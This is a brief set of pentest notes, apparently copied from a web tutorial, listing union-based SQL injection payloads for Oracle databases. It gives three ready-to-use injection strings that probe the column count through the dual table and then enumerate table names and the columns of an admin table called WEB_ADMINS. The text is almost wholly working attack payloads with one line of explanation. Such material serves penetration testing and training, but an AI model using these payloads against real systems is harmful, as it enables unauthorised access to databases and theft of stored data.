http://www.securityidiots.com/Web-Pentest/SQL-Injection/Union-based-Oracle-Injection.html

Oracle DB's need always FROM statement, this can be fulfilled by using dual DB

' UNION SELECT null,null,null from dual--

Get table names

' UNION SELECT table_name,null,null from all_tables--

Get columns from table

' UNION SELECT column_name,null,null from all_tab_columns where table_name='WEB_ADMINS'--